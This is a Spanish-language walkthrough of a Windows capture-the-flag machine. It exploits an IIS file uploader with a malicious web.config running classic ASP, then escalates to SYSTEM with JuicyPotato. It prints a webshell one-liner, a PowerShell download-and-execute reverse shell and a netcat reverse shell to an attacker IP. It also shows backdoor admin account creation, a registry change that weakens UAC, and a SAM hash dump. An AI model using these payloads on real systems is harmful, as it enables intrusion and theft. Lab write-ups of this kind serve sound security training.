Bounty
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Bounty es una máquina Windows fácil con un único servicio: IIS 7.5 en el 80. Tras fuzzear aparecetransfer.aspx, un uploader que filtra extensiones pero permite.config. Subiendo unweb.configcon código ASP clásico embebido logramos ejecución de código en IIS y, de ahí, una reverse shell comomerlin. Ese contexto tieneSeImpersonatePrivilege, así que un ataque tipo Potato (JuicyPotato) eleva aNT AUTHORITY\SYSTEM.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.10.93
PING 10.10.10.93 (10.10.10.93) 56(84) bytes of data.
64 bytes from 10.10.10.93: icmp_seq=1 ttl=127 time=103 ms
--- 10.10.10.93 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1, un solo salto hasta el laboratorio; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Aun sabiendo que el objetivo es Windows, el escaneo TCP completo es obligatorio: recorrer los 65535 puertos es lo único que descarta que haya algo escondido en un puerto alto.
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.93
Discovered open port 80/tcp on 10.10.10.93
Completed SYN Stealth Scan at 14:14, 26.36s elapsed (65535 total ports)
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127Un solo puerto de 65535, y los otros 65534 en filtered (sin respuesta), que es la firma de un cortafuegos descartando en silencio en vez de contestar un RST. Toda la superficie de ataque es ese 80, así que sobre él va la detección de versiones:
nmap -p80 -sCV 10.10.10.93
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsIIS 7.5 no es un dato menor: esa versión viene de serie con Windows Server 2008 R2, lo que fija el sistema y, más adelante, decidirá qué variante de ataque Potato es viable.
TCP 80 - Identificar la pila
Un único puerto abierto, así que el puerto se pasa al siguiente comando con extractPorts:
extractPorts scan
Extracting information ...
IP Address: 10.10.10.93
Open ports: 80
Ports copied to clipboardAntes de fuzzear nada, la identificación de la pila:
whatweb 10.10.10.93
http://10.10.10.93 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/7.5],
IP[10.10.10.93], Microsoft-IIS[7.5], Title[Bounty], X-Powered-By[ASP.NET]IIS 7.5 con ASP.NET, y esas dos piezas ya deciden todo lo que viene: el fuzzing tendrá que probar extensiones .asp y .aspx, no .php. Wappalyzer confirma lo mismo y añade el sistema operativo:

Web frameworks Microsoft ASP.NET
Web servers IIS 7.5
Operating systems Windows ServerLa portada es solo esa imagen de un mago, y su código fuente no esconde nada... salvo un detalle que conviene anotar:

<title>Bounty</title>
<div id="container">
<a href=""><img src="merlin.jpg" alt="IIS7" width="571" height="411" /></a>
</div>El fichero de la imagen se llama merlin.jpg. No es una prueba de nada, pero es un nombre propio en una máquina que no tiene ningún otro texto, y más adelante resulta ser el nombre del usuario del sistema.
TCP 80 - Fuzzing de recursos
Sin nada más en la portada, toca enumerar rutas. El primer barrido, con el diccionario por defecto de dirsearch, sale casi vacío:
dirsearch -u http://10.10.10.93/ --exclude-status=403,404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.10.93/
[14:19:52] 301 - 156B - /aspnet_client -> http://10.10.10.93/aspnet_client/
[14:20:03] 500 - 3KB - /WebResource.axd?d=LER8t9aS
Task CompletedUn 301 y un error 500. Repetimos con un diccionario veinte veces mayor:
gobuster dir -u http://10.10.10.93 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404
/UploadedFiles (Status: 301) [Size: 156] [--> http://10.10.10.93/UploadedFiles/]
/uploadedFiles (Status: 301) [Size: 156] [--> http://10.10.10.93/uploadedFiles/]
/uploadedfiles (Status: 301) [Size: 156] [--> http://10.10.10.93/uploadedfiles/]
Progress: 220564 / 220565 (100.00%)
FinishedAparece /UploadedFiles, y el detalle de que salga tres veces con distintas mayúsculas confirma que el servidor no distingue mayúsculas de minúsculas en las rutas, cosa normal en IIS y útil de saber. El nombre es una promesa en sí mismo: si existe un directorio "de ficheros subidos", en algún sitio hay algo que sube ficheros.
Visitar los dos directorios, sin embargo, no lleva a ninguna parte:

Server Error
403 - Forbidden: Access is denied.
You do not have permission to view this directory or page using the credentials that you supplied.Un 403 en ambos. Y ojo con la lectura, porque marca el siguiente paso: 403 no es "no existe", es "existe y no te dejo listarlo". Los ficheros de dentro pueden ser perfectamente accesibles si se conoce su nombre; lo único bloqueado es ver el índice del directorio.
Falta entonces el formulario que sube esos ficheros. Como no hay enlaces que lo delaten, se fuzzea por nombre y extensión a la vez, probando asp y aspx sobre cada palabra del diccionario, que es lo que corresponde en un servidor IIS:
wfuzz -c --hc=404 -t 200 -w directory-list-2.3-medium.txt -z list,asp-aspx http://10.10.10.93/FUZZ.FUZ2Z
ID Response Lines Word Chars Payload
000007570: 200 21 L 58 W 941 Ch "transfer - aspx"Una sola combinación devuelve 200: transfer.aspx (941 caracteres); el resto son 400/404.
transfer.aspx es un formulario de subida de ficheros:

Se prueba lo primero que hay a mano, un fichero cualquiera:


Invalid File. Please try againHay filtro. Y ese mensaje, además de cerrar la puerta, abre otra: es una respuesta distinta de la de una subida correcta, así que sirve como oráculo para averiguar qué extensiones sí pasan.
Shell como merlin
Extensiones permitidas: el comodín .config
El uploader rechaza la mayoría de extensiones con un Invalid File. Please try again. Para saber cuáles pasan hay que probarlas todas, y para automatizarlo hay que saber primero qué campos lleva la petición. Se intercepta la subida con Burp:

POST /transfer.aspx HTTP/1.1
Host: 10.10.10.93
Content-Type: multipart/form-data; boundary=---------------------------18279278558592051799919338
Content-Disposition: form-data; name="__VIEWSTATE"
/wEPDwUKMTI3ODM5MzQ0Mg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkZG...
Content-Disposition: form-data; name="__EVENTVALIDATION"
/wEWAgKni5/bBwLt3oXMAyW1jg85up8WJPrQheHTvy/7qzIo
Content-Disposition: form-data; name="FileUpload1"; filename="prueba.txt"
Content-Type: text/plain
prueba
Content-Disposition: form-data; name="btnUpload"
UploadCuatro campos, y dos de ellos son el problema: __VIEWSTATE y __EVENTVALIDATION son los tokens con los que ASP.NET WebForms mantiene el estado del formulario, y su valor es distinto en cada carga de la página. Reenviar una petición capturada sin actualizarlos falla siempre.
La solución es un script que, por cada extensión, pida primero la página y extraiga esos dos valores. El esqueleto empieza tan simple como esto, con un pdb.set_trace() para inspeccionar la respuesta en vivo:
transfer_url = "http://10.10.10.93/transfer.aspx"
def uploadFile():
r = requests.get(transfer_url)
pdb.set_trace()
Con la ejecución detenida en ese punto se prueban las expresiones regulares contra la respuesta real, que es la forma de no escribirlas a ciegas:
python3 uploadFile.py
(Pdb) re.findall(r'id="__VIEWSTATE" value="(.*?)"', r.text)[0]
'/wEPDwUKMTI3ODM5MzQ0Mg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkZGZ...'
(Pdb) re.findall(r'id="__EVENTVALIDATION" value="(.*?)"', r.text)[0]
'/wEWAgK4+8nyDgLt3oXMA5qUVCb6JzRm4MGdPkgZ0bHTwwiv'Comprobado que las dos expresiones aciertan, el bucle final pide la página, extrae los valores y solo entonces envía la subida:
def uploadFile(extension):
s = requests.session()
r = s.get(transfer_url)
viewState = re.findall(r'id="__VIEWSTATE" value="(.*?)"', r.text)[0]
eventValidation = re.findall(r'id="__EVENTVALIDATION" value="(.*?)"', r.text)[0]
post_data = {'__VIEWSTATE': viewState, '__EVENTVALIDATION': eventValidation, 'btnUpload': 'Upload'}
fileUploaded = {'FileUpload1': ('Prueba.' + extension, 'Esto es una prueba')}
r = s.post(transfer_url, data=post_data, files=fileUploaded)
if "Invalid File. Please try again" not in r.text:
log.success("La extensión %s es válida" % extension)El criterio de éxito es por ausencia del mensaje de error, no por presencia de uno de éxito, que es lo que hay cuando la aplicación no da una respuesta positiva clara.
python3 uploadFile.py
Fuerza bruta: Probando con la extensión .xspf
[+] La extensión .gif es válida
[+] La extensión .jpg es válida
[+] La extensión .png es válida
[+] La extensión .doc es válida
[+] La extensión .config es válida
[+] La extensión .jpeg es válida
[+] La extensión .xls es válida
[+] La extensión .xlsx es válida
[+] La extensión .docx es válidaEl mismo resultado se puede obtener con Burp Intruder, sin escribir una línea de código, y merece la pena verlo porque es lo que se usa cuando no hay tiempo de programar nada. Primero se manda la petición interceptada al Intruder:

Se elige el tipo de ataque Sniper (un solo punto de inyección) y se marca como posición solo la extensión del filename, dejando el nombre base fijo:

Attack type: Sniper
filename="prueba§.txt§"La carga es una lista simple con el mismo diccionario de extensiones:

Payload type : Simple list
Payload count: 963
Fichero : /home/krmena/SecLists/Discovery/Web-Content/raft-small-extensions.txtY aquí está el detalle que arruina el ataque si se pasa por alto: hay que desmarcar el URL-encoding. Si se deja activo, el punto de la extensión viaja codificado y el servidor rechaza todo por igual:

Por último, en vez de mirar 963 respuestas a ojo, se configura un grep extract que saque el mensaje de error de cada una, de modo que las válidas se distingan de un vistazo por tener esa columna vacía:

Start after expression : :Red;">
End at delimiter : </span>
-> captura: Invalid File. Please try againOcho de las nueve extensiones son formatos de datos inertes: imágenes y documentos de Office. La novena desentona, y es .config. Esa última es la interesante: en IIS, un web.config no es un fichero de datos cualquiera, sino configuración que el servidor procesa, y puede contener código ASP clásico interpretable. Es la base del truco de RCE vía web.config y un caso de subida de fichero a ejecución por bypass de extensión.
web.config con código ASP
La técnica no se improvisa: buscando qué se puede hacer con un .config en IIS aparece siempre el mismo artículo:

IIS - Web.config File Exploit - KSEC ARK (ivoidwarranties.tech)
The techniques below show some different web.config files that can be used to bypass protections
around the file uploaders.El artículo trae el fichero completo bajo el epígrafe Running web.config as an ASP file, que es exactamente nuestro caso: IIS soporta ASP pero el uploader no deja subir .asp.

Running web.config as an ASP file
Sometimes IIS supports ASP files but it is not possible to upload any file with .ASP extension.
In this case, it is possible to use a web.config file directly to run ASP classic codes.Copiamos ese web.config tal cual: además de la configuración mínima incluye un bloque ASP que ejecuta una operación trivial (1 + 2). Si al pedir el fichero subido vemos un 3, el código se está interpretando:
sudo nano web.config
cat web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified"
requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->Conviene leer qué hace cada parte, porque el fichero es el ataque entero:
- El
<add name="web_config" ... scriptProcessor="...\asp.dll">le dice a IIS que los ficheros.configlos procese el intérprete de ASP clásico. Es decir, el propio fichero subido reconfigura el servidor para que se ejecute a sí mismo. - El
<remove fileExtension=".config" />y el<remove segment="web.config" />desactivan las dos protecciones que IIS trae por defecto, que precisamente impiden servir por HTTP un fichero llamadoweb.config. - El bloque ASP va dentro de un comentario XML, y de ahí los
Response.write("-"&"->")del principio y del final: sirven para cerrar y reabrir el comentario en la salida, de modo que el XML siga siendo válido pero el código se ejecute igual.
La parte que importa es el final del fichero, y conviene mirarla aparte porque es la carga útil:

<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->
Browse... web.config [Upload]
File uploaded successfully.El uploader acepta el web.config (File uploaded successfully.): la extensión .config pasa el filtro.
El fichero queda en /uploadedFiles/web.config, y al abrirlo el servidor devuelve 3: confirmado, IIS ejecuta nuestro ASP (algo imposible si la carpeta solo sirviera ficheros estáticos):

De ejecución de código a reverse shell
Con ejecución confirmada, falta cambiar el 1+2 por algo útil. El one-liner de ASP clásico que convierte esto en una webshell sale de una recopilación de reverse shells:


<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>Pegado al final del web.config, eso ya sería una webshell por parámetro cmd:

Pero una webshell obliga a ir comando a comando por la URL. Es más cómodo pedir directamente una reverse shell, así que el Exec se cambia por uno que descarga y ejecuta un script de PowerShell (Nishang (repo) Invoke-PowerShellTcp) servido desde nuestra máquina:

<%
Set co = CreateObject("WScript.Shell")
Set cte = co.Exec("cmd /c powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3/ps.ps1')")
Response.write(cte.StdOut.Readall())
%>El ps.ps1 que va a descargar es el de Nishang, que hay que traerse antes:


wget https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Length: 4339 (4.2K) [text/plain]
'Invoke-PowerShellTcp.ps1' saved [4339/4339]El script solo define la función, no la ejecuta, así que hay que añadir la llamada al final con nuestra IP y puerto. Sin esa línea el IEX cargaría la función en memoria y no pasaría nada más:
nano ps.ps1
cat ps.ps1 | tail -n 10
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.3 -Port 443Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.3 -Port 443Levantamos el servidor HTTP y el listener, subimos el web.config malicioso y lo cargamos para disparar la conexión:
python3 -m http.server 80
sudo rlwrap nc -nlvp 443
La shell entra en el contexto de IIS (bounty\merlin) y leemos la primera flag:
PS C:\windows\system32\inetsrv> type C:\Users\merlin\Desktop\user.txt
117fbf1dfe259fe59f2b0fdcda7649beShell como SYSTEM
SeImpersonatePrivilege
Lo primero tras una shell en Windows es mirar el token. El contexto de IIS tiene SeImpersonatePrivilege habilitado, la llave de los ataques "Potato":
whoami /priv
SeImpersonatePrivilege Impersonate a client after authentication EnabledJuicyPotato a NT AUTHORITY\SYSTEM
SeImpersonatePrivilege permite a un proceso suplantar el token de un cliente que se autentique contra él. JuicyPotato fuerza a un servicio COM/DCOM que corre como SYSTEM a autenticarse contra un endpoint controlado por el atacante, captura su token y lanza un proceso con él. Como esta máquina es Windows Server 2008 R2, JuicyPotato (repo) es viable. El binario se baja de sus releases:

ohpe / juicy-potato Releases / v0.1 "Fresh potatoes"
Assets (3)
JuicyPotato.exe 340 KB Aug 10, 2018mv /home/krmena/Downloads/JuicyPotato.exe /home/krmena/machines/bounty/exploits
cd /home/krmena/machines/bounty/exploits
mv JuicyPotato.exe JP.exe
Se acorta el nombre a JP.exe por comodidad, que en una shell sin autocompletado se agradece. Hace falta también un netcat para Windows, que se saca del sitio de siempre:

Here's netcat 1.11 compiled for both 32 and 64-bit Windows
Small update: netcat 1.12 - adds -c command-line option to send CRLF line endings instead of just CRmv /home/krmena/netcat-win32-1.12.zip .
unzip netcat-win32-1.12.zip -d netcat
mv netcat/nc64.exe ./nc.exe
Archive: netcat-win32-1.12.zip
inflating: netcat/nc.exe
inflating: netcat/nc64.exeLos dos binarios se suben con certutil.exe, que viene de serie en Windows y sirve como descargador:
python3 -m http.server 80cd C:\Windows\Temp
certutil.exe -f -urlcache -split http://10.10.16.5/JP.exe
certutil.exe -f -urlcache -split http://10.10.16.5/nc.exe
PS C:\Windows\Temp> certutil.exe -f -urlcache -split http://10.10.16.5/JP.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
10.10.10.93 - - [12/Jul/2025 01:12:24] "GET /JP.exe HTTP/1.1" 200 -
10.10.10.93 - - [12/Jul/2025 01:12:33] "GET /nc.exe HTTP/1.1" 200 -Con todo en su sitio, lanzamos el exploit pidiéndole una reverse shell como SYSTEM:
.\JP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\nc.exe -e cmd 10.10.16.5 443"
En el listener cae la shell como NT AUTHORITY\SYSTEM y leemos la flag final:
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
b0222e8ad43e1546173417f963e3d632Extra: usuario local administrador y acceso remoto
Con SYSTEM en la mano la caja ya está resuelta, pero merece la pena ver qué más permite JuicyPotato, porque no es solo un lanzador de reverse shells: su -a ejecuta cualquier comando con el token suplantado. Encadenando cuatro de esos comandos se pasa de una shell frágil (que muere al cerrar el listener) a un acceso administrativo estable por SMB, que es justo lo que se busca en un ejercicio real.
El primero crea un usuario local:
.\JP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c net user s4vitar s4vit4r123$! /add"
net user
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
PS C:\Windows\Temp\Privesc> net user
User accounts for \\BOUNTY
-------------------------------------------------------------------------------
Administrator Guest merlin
s4vitar
The command completed successfully.Cada invocación repite el mismo patrón: authresult 0 (el CLSID responde), la identidad suplantada NT AUTHORITY\SYSTEM y un CreateProcessWithTokenW OK. El comando se ejecuta con ese token, no con el de merlin, y por eso net user puede crear cuentas.
El segundo mete la cuenta en el grupo de administradores locales, y net user s4vitar lo verifica:
.\JP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c net localgroup Administrators s4vitar /add"
net user s4vitar
User name s4vitar
Account active Yes
Account expires Never
Password last set 6/7/2022 12:10:12 AM
Password expires Never
Password required Yes
User may change password Yes
Workstations allowed All
Last logon Never
Local Group Memberships *Administrators *Users
Global Group memberships *None
The command completed successfully.Ahí está la comprobación que importa: *Administrators en Local Group Memberships. La cuenta ya no es un usuario cualquiera.
El tercero comparte por SMB el directorio de trabajo, dando control total al grupo de administradores. Sirve para subir binarios desde fuera sin depender del certutil de turno:
.\JP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c net share attacker_folder=C:\Windows\Temp /GRANT:Administrators,FULL"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OKEl cuarto es el menos evidente y el que hace que todo lo anterior sirva desde fuera:
.\JP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OKPor defecto, Windows aplica UAC remoto a las cuentas locales: cuando una de ellas se autentica por red, recibe un token filtrado sin los privilegios de administrador, aunque pertenezca al grupo. Poner LocalAccountTokenFilterPolicy a 1 desactiva ese filtrado y hace que s4vitar llegue por SMB con el token completo. Sin ese valor, los dos pasos siguientes fallarían pese a tener credenciales válidas.
Con eso ya se puede trabajar desde la máquina atacante. Un primer uso es volcar la base SAM local (volcado de SAM/LSA) sin tocar la shell:
cme smb 10.10.10.93 -u 's4vitar' -p 's4vit4r123$!' --sam
SMB 10.10.10.93 445 BOUNTY [*] Windows Server 2008 R2 Datacenter 7600 x64 (name:BOUNTY) (domain:bounty) (signing:False) (SMBv1:True)
SMB 10.10.10.93 445 BOUNTY [+] bounty\s4vitar:s4vit4r123$! (Pwn3d!)
SMB 10.10.10.93 445 BOUNTY [+] Dumping SAM hashes
SMB 10.10.10.93 445 BOUNTY Administrator:500:aad3b435b51404eeaad3b435b51404ee:89dd4e73364721f8e2abe67d7090b686:::
SMB 10.10.10.93 445 BOUNTY Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.10.93 445 BOUNTY merlin:1000:aad3b435b51404eeaad3b435b51404ee:2d588983dbc4d1356b19277afef85092:::El (Pwn3d!) confirma que el token llega sin filtrar: la cuenta es administradora también por red. Del volcado salen tres hashes NT, y uno de ellos, el de Guest, es el 31d6cfe0d16ae931b73c59d7e0c089c0 de contraseña vacía (la cuenta está deshabilitada). El de Administrator sí vale para un Pass-the-Hash si hiciera falta.
Y el segundo uso es entrar directamente con una shell como SYSTEM, esta vez limpia y reconectable:
psexec.py WORKGROUP/s4vitar@10.10.10.93 cmd.exe
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
Password:
[*] Requesting shares on 10.10.10.93.....
[*] Found writable share ADMIN$
[*] Uploading file XmhOOdiX.exe
[*] Opening SVCManager on 10.10.10.93.....
[*] Creating service zPEy on 10.10.10.93.....
[*] Starting service zPEy.....
Microsoft Windows [Version 6.1.7600]
C:\Windows\system32> whoami
nt authority\systempsexec.py no explota nada: se apoya en el recurso administrativo ADMIN$, sube un ejecutable, lo registra como servicio y lo arranca. Los servicios corren como SYSTEM, y de ahí el whoami. Es el mismo resultado que dio JuicyPotato, pero ahora se obtiene a voluntad desde fuera, sin volver a pasar por la web ni por el uploader.
Cadena de ataque
IIS 7.5 (:80)
│ fuzz → transfer.aspx (uploader con filtro de extensión)
▼
bypass de extensión: .config permitido → web.config con ASP clásico
│ /uploadedFiles/web.config ejecuta código → reverse shell PowerShell
▼
shell como merlin (contexto IIS) → user.txt
│ whoami /priv → SeImpersonatePrivilege
▼
JuicyPotato (abuso COM/DCOM) → NT AUTHORITY\SYSTEM → root.txtLecciones aprendidas
- Una allowlist de extensiones no basta si una de ellas es ejecutable. En IIS,
web.configse procesa como configuración y puede llevar ASP clásico: permitir.configequivale a permitir ejecución de código (RCE vía web.config). - Validar el contenido, no solo la extensión. El uploader miraba la extensión, pero
web.configcon un bloque<%...%>es perfectamente válido como nombre y mortal como contenido. Hay que inspeccionar y servir lo subido desde una carpeta sin permisos de ejecución. - El contexto de IIS suele tener
SeImpersonatePrivilege. Cualquier RCE en una app web Windows recae a menudo en una cuenta con este privilegio, y un ataque Potato lo convierte enSYSTEM. - Reducir la superficie no es ocultar.
transfer.aspxno estaba enlazado, pero el fuzzing lo encontró en segundos. La seguridad por oscuridad no protege un endpoint sensible.